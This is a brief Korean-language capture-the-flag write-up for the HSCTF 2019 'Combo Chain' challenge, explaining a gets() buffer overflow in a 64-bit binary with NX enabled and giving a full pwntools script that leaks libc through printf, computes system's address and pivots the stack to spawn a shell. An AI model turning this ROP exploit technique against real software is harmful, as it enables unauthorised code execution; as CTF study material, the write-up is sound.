HSCTF 2019 - Combo Chain

64bit 바이너리에 NX만 활성화 되어있다.

 

 

Lite와 달리 system의 주소는 주어지지 않고 /bin/sh문자열만 존재한다.

이때 gets(&v1);에서 bof가 발생하므로 ROP를 통해 system주소를 구하고 쉘을 따면 된다.

 

from pwn import *
 
p = process('./combo-chain')
 
bin_sh = 0x0000000000402008 + len('Dude you hear about that new game called ')
 
gets_leave_ret = 0x401190
pop_rdi = 0x401263
pop_rsi = 0x401261
leave_ret = 0x4011a2
ret = 0x40101a
 
bss = 0x0000000000404050 + 0x500
 
gets_got = 0x404030
gets_plt = 0x401060
printf_plt = 0x401050
 
gets_system_offset = 170480
 
pay = ''
pay += 'a'*0x8
pay += p64(bss+0x8)
pay += p64(pop_rdi) + p64(gets_got)
pay += p64(ret)                        #xmmword
pay += p64(printf_plt)
pay += p64(gets_leave_ret)
p.sendline(pay)
 
p.recvuntil('CARNAGE!: ')
libc_gets = u64(p.recv(6).ljust(8,'\x00'))
libc_system = libc_gets - gets_system_offset
print "libc_gets : " + hex(libc_gets)
print "libc_system : " + hex(libc_system)
 
pay = ''
pay += 'a'*0x8
pay += p64(bss)
pay += p64(pop_rdi) + p64(bin_sh)
pay += p64(libc_system)
pay += p64(leave_ret)
p.sendline(pay)
 
p.interactive()